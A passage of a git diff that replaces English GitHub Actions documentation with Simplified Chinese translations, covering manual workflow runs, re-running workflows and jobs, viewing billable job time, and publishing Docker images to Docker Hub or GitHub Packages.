从文件中读取。 ```shell gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt ``` -You can also pass inputs as JSON by using standard input. +您也可以使用标准输入以 JSON 的身份传递输入。 ```shell echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json ``` -To run a workflow on a branch other than the repository's default branch, use the `--ref` flag. +要在存储库的默认分支以外的分支上运行工作流,请使用 `--ref` 标记。 ```shell -gh workflow run WORKFLOW --ref BRANCH +gh workflow run workflow --ref branch-name ``` -To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. +要查看工作流运行的进度,请使用 `run watch` 子命令,并从交互式列表中选择运行。 ```shell gh run watch @@ -74,14 +72,14 @@ gh run watch {% endcli %} -## Running a workflow using the REST API +## 使用 REST API 运行工作流程 -When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used. +使用 REST API 时,应将 `inputs` 和 `ref` 配置为请求正文参数。 如果忽略输入,则使用工作流程文件中定义的默认值。 {% note %} -**Note:** You can define up to 10 `inputs` for a `workflow_dispatch` event. +注意:最多可为 `workflow_dispatch` 事件定义 10 个 `inputs`。 {% endnote %} -For more information about using the REST API, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)." +有关使用 REST API 的详细信息,请参阅“[创建工作流调度事件](/rest/reference/actions/#create-a-workflow-dispatch-event)”。 diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md index bc4413c311..0feb303d05 100644 --- a/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md +++ b/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md @@ -1,7 +1,6 @@ --- -title: Re-running workflows and jobs -shortTitle: Re-run workflows and jobs -intro: 'You can re-run a workflow run{% ifversion re-run-jobs %}, all failed jobs in a workflow run, or specific jobs in a workflow run{% endif %} up to 30 days after its initial run.' +title: 重新运行工作流程和作业 +intro: '可以在工作流运行初始运行后最长 30 天内重新运行工作流运行{% ifversion re-run-jobs %}、工作流运行中所有失败的作业或工作流运行中的特定作业{% endif %}。' permissions: People with write permissions to a repository can re-run workflows in the repository. miniTocMaxHeadingLevel: 3 redirect_from: @@ -11,36 +10,30 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 086a57b238b4a11e38013997dfcb85418a6961bd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147419719' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于重新运行工作流程和作业 -## About re-running workflows and jobs +重新运行工作流{% ifversion re-run-jobs %}或工作流中的作业{% endif %}使用与触发工作流运行的原始事件相同的 `GITHUB_SHA`(提交 SHA)和 `GITHUB_REF` (Git ref)。 {% ifversion actions-stable-actor-ids %} 工作流将使用最初触发工作流的参与者的权限,而不是启动重新运行的参与者的权限。 {% endif %}在初始运行最多 30 天后,可以重新运行工作流{% ifversion re-run-jobs %}或工作流中的作业{% endif %}。{% ifversion re-run-jobs %}一旦工作流的日志超过其保留限制,就无法重新运行工作流中的作业。 有关详细信息,请参阅“[使用限制、计费和管理](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy)”。{% endif %}{% ifversion debug-reruns %} 重新运行工作流或工作流中的作业时,可以为重新运行启用调试日志记录。 这将为重新运行启用运行器诊断日志记录和步骤调试日志记录。 有关调试日志记录的详细信息,请参阅“[启用调试日志记录](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)”。{% endif %} -Re-running a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. {% ifversion actions-stable-actor-ids %}The workflow will use the privileges of the actor who initially triggered the workflow, not the privileges of the actor who initiated the re-run. {% endif %}You can re-run a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} for up to 30 days after the initial run.{% ifversion re-run-jobs %} You cannot re-run jobs in a workflow once its logs have passed their retention limits. For more information, see "[Usage limits, billing, and administration](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% endif %}{% ifversion debug-reruns %} When you re-run a workflow or jobs in a workflow, you can enable debug logging for the re-run. This will enable runner diagnostic logging and step debug logging for the re-run. For more information about debug logging, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."{% endif %} - -## Re-running all the jobs in a workflow +## 重新运行工作流程中的所有作业 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -{% ifversion fpt or ghes > 3.4 or ghae or ghec -%} -1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run all jobs**. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% ifversion fpt or ghes > 3.4 or ghae-issue-4721 or ghec %} +1. 在工作流的右上角,使用“重新运行作业”下拉菜单,然后选择“重新运行所有作业” 。 - If no jobs failed, you will not see the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu. Instead, click **Re-run all jobs**. - - ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) -{%- endif %} -{% ifversion ghes < 3.5 or ghae -%} -1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**. - - ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png) -{%- endif %} -{% data reusables.actions.enable-debug-logging %} + 如果没有作业失败,则看不到“重新运行作业”下拉菜单。 相反,单击“重新运行所有作业”。 + ![重新运行检查下拉菜单](/assets/images/help/repository/rerun-checks-drop-down.png){% endif %} {% ifversion ghes < 3.5 or ghae %} +1. 在工作流的右上角,使用“重新运行作业”下拉菜单,然后选择“重新运行所有作业” 。 + ![重新运行检查下拉菜单](/assets/images/help/repository/rerun-checks-drop-down-updated.png) {% endif %} {% data reusables.actions.enable-debug-logging %} {% endwebui %} @@ -48,22 +41,21 @@ Re-running a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif % {% data reusables.cli.cli-learn-more %} -To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. +若要重新运行失败的工作流运行,请使用 `run rerun` 子命令。 将 `run-id` 替换为要重新运行的已失败运行的 ID。 如果没有指定 `run-id`,{% data variables.product.prodname_cli %} 将返回交互式菜单供你选择最近失败的运行。 ```shell -gh run rerun RUN_ID +gh run rerun run-id ``` -{% ifversion debug-reruns %} -{% data reusables.actions.enable-debug-logging-cli %} +{% ifversion debug-reruns %} {% data reusables.actions.enable-debug-logging-cli %} ```shell -gh run rerun RUN_ID --debug +gh run rerun run-id --debug ``` {% endif %} -To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. +要查看工作流运行的进度,请使用 `run watch` 子命令,并从交互式列表中选择运行。 ```shell gh run watch @@ -72,104 +64,85 @@ gh run watch {% endcli %} {% ifversion re-run-jobs %} -## Re-running failed jobs in a workflow +## 重新运行工作流程中失败的作业 -If any jobs in a workflow run failed, you can re-run just the jobs that failed. When you re-run failed jobs in a workflow, a new workflow run will start for all failed jobs and their dependents. Any outputs for any successful jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run. +如果工作流程运行中的任何作业失败,您可以仅重新运行失败的作业。 在重新运行工作流程中失败的作业时,将为所有失败的作业及其依赖项启动新的工作流程运行。 上一个工作流程运行中任何成功作业的任何输出都将用于重新运行。 在初始运行中创建的任何构件都将在重新运行中可用。 在上一次运行中通过的任何环境保护规则都将自动在重新运行中通过。 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run failed jobs**. - - ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) -{% data reusables.actions.enable-debug-logging %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. 在工作流的右上角,使用“重新运行作业”下拉菜单,然后选择“重新运行失败的作业” 。 + ![“重新运行失败的作业”下拉菜单](/assets/images/help/repository/rerun-failed-jobs-drop-down.png) {% data reusables.actions.enable-debug-logging %} {% endwebui %} {% cli %} -To re-run failed jobs in a workflow run, use the `run rerun` subcommand with the `--failed` flag. Replace `run-id` with the ID of the run for which you want to re-run failed jobs. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. +若要在工作流运行中重新运行失败的作业,请使用带有 `--failed` 标志的 `run rerun` 子命令。 将 `run-id` 替换为其重新运行失败作业的运行的 ID。 如果没有指定 `run-id`,{% data variables.product.prodname_cli %} 将返回交互式菜单供你选择最近失败的运行。 ```shell -gh run rerun RUN_ID --failed +gh run rerun run-id --failed ``` -{% ifversion debug-reruns %} -{% data reusables.actions.enable-debug-logging-cli %} +{% ifversion debug-reruns %} {% data reusables.actions.enable-debug-logging-cli %} ```shell -gh run rerun RUN_ID --failed --debug +gh run rerun run-id --failed --debug ``` -{% endif %} -{% endcli %} +{% endif %} {% endcli %} -## Re-running a specific job in a workflow +## 重新运行工作流程中的特定作业 -When you re-run a specific job in a workflow, a new workflow run will start for the job and any dependents. Any outputs for any other jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run. +重新运行工作流程中的特定作业时,将为该作业和任何依赖项启动新的工作流程运行。 上一个工作流程运行中任何其他作业的任何输出都将用于重新运行。 在初始运行中创建的任何构件都将在重新运行中可用。 在上一次运行中通过的任何环境保护规则都将自动在重新运行中通过。 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. Next to the job that you want to re-run, click {% octicon "sync" aria-label="The re-run icon" %}. - ![Re-run selected job](/assets/images/help/repository/re-run-selected-job.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. 在要重新运行的作业旁边,单击 {% octicon "sync" aria-label="The re-run icon" %}。 + ![重新运行选定的作业](/assets/images/help/repository/re-run-selected-job.png) - Alternatively, click on a job to view the log. In the log, click {% octicon "sync" aria-label="The re-run icon" %}. - ![Re-run selected job](/assets/images/help/repository/re-run-single-job-from-log.png) -{% data reusables.actions.enable-debug-logging %} + 或者,单击作业以查看日志。 在日志中,单击 {% octicon "sync" aria-label="The re-run icon" %}。 + ![重新运行选定的作业](/assets/images/help/repository/re-run-single-job-from-log.png) {% data reusables.actions.enable-debug-logging %} {% endwebui %} {% cli %} -To re-run a specific job in a workflow run, use the `run rerun` subcommand with the `--job` flag. Replace `job-id` with the ID of the job that you want to re-run. +若要在工作流运行中重新运行特定作业,请使用带有 `--job` 标志的 `run rerun` 子命令。 将 `job-id` 替换为要重新运行的作业的 ID。 ```shell -gh run rerun --job JOB_ID +gh run rerun --job job-id ``` -{% ifversion debug-reruns %} -{% data reusables.actions.enable-debug-logging-cli %} +{% ifversion debug-reruns %} {% data reusables.actions.enable-debug-logging-cli %} ```shell -gh run rerun --job JOB_ID --debug +gh run rerun --job job-id --debug ``` -{% endif %} -{% endcli %} +{% endif %} {% endcli %} {% endif %} {% ifversion partial-reruns-with-reusable %} -## Re-running workflows and jobs with reusable workflows +## 使用可重用工作流重新运行工作流和作业 {% data reusables.actions.partial-reruns-with-reusable %} {% endif %} -{% ifversion fpt or ghes > 3.4 or ghae or ghec %} -## Reviewing previous workflow runs +{% ifversion fpt or ghes > 3.4 or ghae-issue-4721 or ghec %} +## 查看以前的工作流程运行 -You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see ["Get a workflow run"](/rest/reference/actions#get-a-workflow-run). +您可以查看以前尝试运行工作流程的结果。 您还可以使用 API 查看以前的工作流程运行。 有关详细信息,请参阅“[获取工作流运行](/rest/reference/actions#get-a-workflow-run)”。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -{%- ifversion re-run-jobs %} -1. Any previous run attempts are shown in the **Latest** drop-down menu. - ![Previous run attempts](/assets/images/help/repository/previous-run-attempts.png) -{%- else %} -1. Any previous run attempts are shown in the left pane. - ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png) -{%- endif %} -1. Click an entry to view its results. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {%- ifversion re-run-jobs %} +1. 任何以前的运行尝试都显示在“最新”下拉菜单中。 + ![以前的运行尝试](/assets/images/help/repository/previous-run-attempts.png) {%- else %} +1. 任何以前的运行尝试都显示在左窗格中。 + ![重新运行工作流](/assets/images/help/settings/actions-review-workflow-rerun.png) {%- endif %} +1. 单击某个条目以查看其结果。 {% endif %} diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 0fa0b0ccb6..2b82771327 100644 --- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -1,29 +1,29 @@ --- -title: Viewing job execution time -shortTitle: View job execution time -intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' +title: 查看作业执行时间 +intro: 您可以查看作业的执行时间,包括某个作业累积的可计费分钟数。 redirect_from: - /actions/managing-workflow-runs/viewing-job-execution-time versions: fpt: '*' ghec: '*' +shortTitle: View job execution time +ms.openlocfilehash: 8293c36519dd727942d7cec0e1c1a2fa430ce112 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100197' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +计费作业执行分钟数仅显示在使用 {% data variables.product.prodname_dotcom %} 托管运行器的私有存储库上运行的作业,并四舍五入到下一分钟。 如果在公共仓库中使用 {% data variables.product.prodname_actions %},或在自托管的运行器中运行作业时,将没有可计费分钟数。 -Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, in the left sidebar under "Run details", click **{% octicon "stopwatch" aria-label="The stopwatch icon" %} Usage**. - - ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. 在作业摘要下,您可以查看作业的执行时间。 若要查看有关计费作业执行时间的详细信息,请单击“计费时间”下的时间。 + ![运行和计费时间详细信息链接](/assets/images/help/repository/view-run-billable-time.png) {% note %} - - **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." - + + 注意:显示的计费时间不包括任何分钟乘数。 若要查看 {% data variables.product.prodname_actions %} 总的使用情况,包括分钟乘数,请参阅“[查看你的 {% data variables.product.prodname_actions %} 使用情况](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)”。 + {% endnote %} diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md b/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md index 8f521c2664..e28aff59f6 100644 --- a/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md +++ b/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md @@ -1,7 +1,6 @@ --- -title: Publishing Docker images -shortTitle: Publish Docker images -intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.' +title: 发布 Docker 映像 +intro: '您可以将 Docker 映像发布到注册表,例如 Docker Hub 或 {% data variables.product.prodname_registry %},作为持续集成 (CI) 工作流程的一部分。' redirect_from: - /actions/language-and-framework-guides/publishing-docker-images - /actions/guides/publishing-docker-images @@ -15,63 +14,61 @@ topics: - Packaging - Publishing - Docker +ms.openlocfilehash: 01f20527dedeea3685855797993187e7af462de4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410289' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction - -This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries. +本指南介绍如何创建执行 Docker 构建的工作流程,然后将 Docker 映像发布到 Docker Hub 或 {% data variables.product.prodname_registry %}。 通过单个工作流程,您可以将映像发布到单一注册表或多个注册表。 {% note %} -**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template. +注意:如果你想推送到另一个第三方 Docker 注册表,“[将映像发布到 {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)”部分中的示例可以用作一个很好的模板。 {% endnote %} -## Prerequisites +## 先决条件 -We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." +建议基本了解工作流程配置选项和如何创建工作流程文件。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)。” -You might also find it helpful to have a basic understanding of the following: +您可能还发现基本了解以下内容是有帮助的: -- "[Encrypted secrets](/actions/reference/encrypted-secrets)" -- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %} -- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %} -- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %} +- [加密的机密](/actions/reference/encrypted-secrets) +- [工作流中的身份验证](/actions/reference/authentication-in-a-workflow){% ifversion fpt or ghec %} +- [使用 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry){% else %} +- [使用 Docker 注册表](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry){% endif %} -## About image configuration +## 关于映像配置 -This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image. +本指南假定您对存储在 {% data variables.product.prodname_dotcom %} 仓库的 Docker 映像有完整的定义。 例如,存储库必须包含一个 Dockerfile,以及执行 Docker 构建以创建映像所需的任何其他文件。 -{% ifversion fpt or ghec or ghes > 3.4 %} - -{% data reusables.package_registry.about-docker-labels %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#labelling-container-images)." - -{% endif %} - -In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images). +在本指南中,我们将使用 Docker `build-push-action` 操作来构建 Docker 映像并将其推送到一个或多个 Docker 注册表。 有关详细信息,请参阅 [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images)。 {% data reusables.actions.enterprise-marketplace-actions %} -## Publishing images to Docker Hub +## 将映像发布到 Docker Hub {% data reusables.actions.release-trigger-workflow %} -In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub. +在下面的示例工作流中,我们使用 Docker `login-action` 和 `build-push-action` 操作来构建 Docker 映像,如果构建成功,则将构建的映像推送到 Docker Hub。 -To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation. +要推送到 Docker Hub,您需要有一个 Docker Hub 帐户,并创建一个 Docker Hub 仓库。 有关详细信息,请参阅 Docker 文档中的“[将 Docker 容器映像推送到 Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)”。 -The `login-action` options required for Docker Hub are: -* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." +Docker Hub 所需的 `login-action` 选项是: +* `username` 和 `password`:这是 Docker Hub 用户名和密码。 我们建议将 Docker Hub 用户名和密码存储为机密,使它们不会公开在工作流程文件中。 有关详细信息,请参阅“[创建和使用已加密的机密](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)。” -The `metadata-action` option required for Docker Hub is: -* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub. +Docker Hub 所需的 `metadata-action` 选项是: +* `images`:你正在构建/推送到 Docker Hub 的 Docker 映像的命名空间和名称。 -The `build-push-action` options required for Docker Hub are: -* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list. -* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully. +Docker Hub 所需的 `build-push-action` 选项是: +* `tags`:你的新映像的标签,格式为 `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`。 您可以如下所示设置单个标记,或在列表中指定多个标记。 +* `push`:如果设置为 `true`,则映像将推送到注册表(如果成功构建)。 ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -113,42 +110,38 @@ jobs: labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} ``` -The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image. +上述工作流签出 {% data variables.product.prodname_dotcom %} 存储库,使用 `login-action` 登录注册表,然后使用 `build-push-action` 操作:基于存储库的 `Dockerfile` 构建 Docker 映像;将映像推送到 Docker Hub,并向映像应用标签。 -## Publishing images to {% data variables.product.prodname_registry %} +## 发布映像到 {% data variables.product.prodname_registry %} -{% ifversion ghes > 3.4 %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} +{% ifversion ghes > 3.4 %} {% data reusables.package_registry.container-registry-ghes-beta %} {% endif %} {% data reusables.actions.release-trigger-workflow %} -In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}. +在下面的示例工作流中,我们使用 Docker `login-action`{% ifversion fpt or ghec %}、`metadata-action`、{% endif %}和 `build-push-action` 操作来构建 Docker 映像,如果构建成功,则将构建的映像推送到 {% data variables.product.prodname_registry %}。 -The `login-action` options required for {% data variables.product.prodname_registry %} are: -* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}`{% else %}`docker.pkg.github.com`{% endif %}. -* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." -* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." +{% data variables.product.prodname_registry %} 所需的 `login-action` 选项是: +* `registry`:必须设置为 {% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}`{% else %}`docker.pkg.github.com`{% endif %}。 +* `username`:你可以使用 {% raw %}`${{ github.actor }}` {% endraw %} 上下文自动使用触发工作流运行的用户的用户名。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)。” +* `password`:可以使用自动生成 `GITHUB_TOKEN` 的密码机密。 有关详细信息,请参阅“[使用 GITHUB_TOKEN 进行身份验证](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)。” -{% ifversion fpt or ghec %} -The `metadata-action` option required for {% data variables.product.prodname_registry %} is: -* `images`: The namespace and name for the Docker image you are building. +{% ifversion fpt or ghec %} {% data variables.product.prodname_registry %} 所需的 `metadata-action` 选项是: +* `images`:正在构建的 Docker 映像的命名空间和名称。 {% endif %} -The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %} -* `context`: Defines the build's context as the set of files located in the specified path.{% endif %} -* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %} -* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %} -* `tags`: Must be set in the format {% ifversion ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. +{% data variables.product.prodname_registry %} 所需的 `build-push-action` 选项是:{% ifversion fpt or ghec %} +* `context`:将构建的上下文定义为位于指定路径中的文件集。{% endif %} +* `push`:如果设置为 `true`,则映像将推送到注册表(如果成功构建)。{% ifversion fpt or ghec %} +* `tags` 和 `labels`:它们由 `metadata-action` 的输出填充。{% else %} +* `tags`:必须采用格式 {% ifversion ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}/OWNER/REPOSITORY/IMAGE_NAME:VERSION` 设置。 - For example, for an image named `octo-image` stored on {% data variables.product.prodname_ghe_server %} at `https://HOSTNAME/octo-org/octo-repo`, the `tags` option should be set to `{% data reusables.package_registry.container-registry-hostname %}/octo-org/octo-repo/octo-image:latest`{% else %}`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. + 例如,对于存储在 `https://HOSTNAME/octo-org/octo-repo` 的 {% data variables.product.prodname_ghe_server %} 上的名为 `octo-image` 的映像,`tags` 选项应设置为 `{% data reusables.package_registry.container-registry-hostname %}/octo-org/octo-repo/octo-image:latest`{% else %}`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`。 - For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`{% endif %}. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %} + 例如,对于存储在 `http://github.com/octo-org/octo-repo` 的 {% data variables.product.prodname_dotcom %} 上的名为 `octo-image` 的映像,`tags` 选项应设置为 `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`{% endif %}。 您可以如下所示设置单个标记,或在列表中指定多个标记。{% endif %} -{% ifversion fpt or ghec or ghes > 3.4 %} -{% data reusables.package_registry.publish-docker-image %} +{% ifversion fpt or ghec or ghes > 3.4 %} {% data reusables.package_registry.publish-docker-image %} -The above workflow is triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}. +上述工作流程通过推送到“发行版”分支触发。 它签出 GitHub 存储库,并使用 `login-action` 登录到 {% data variables.product.prodname_container_registry %}。 然后,它将提取 Docker 映像的标签和标记。 最后,它使用 `build-push-action` 操作构建映像并将其发布到 {% data variables.product.prodname_container_registry %}。 {% else %} @@ -190,18 +183,16 @@ jobs: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %} ``` -The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit 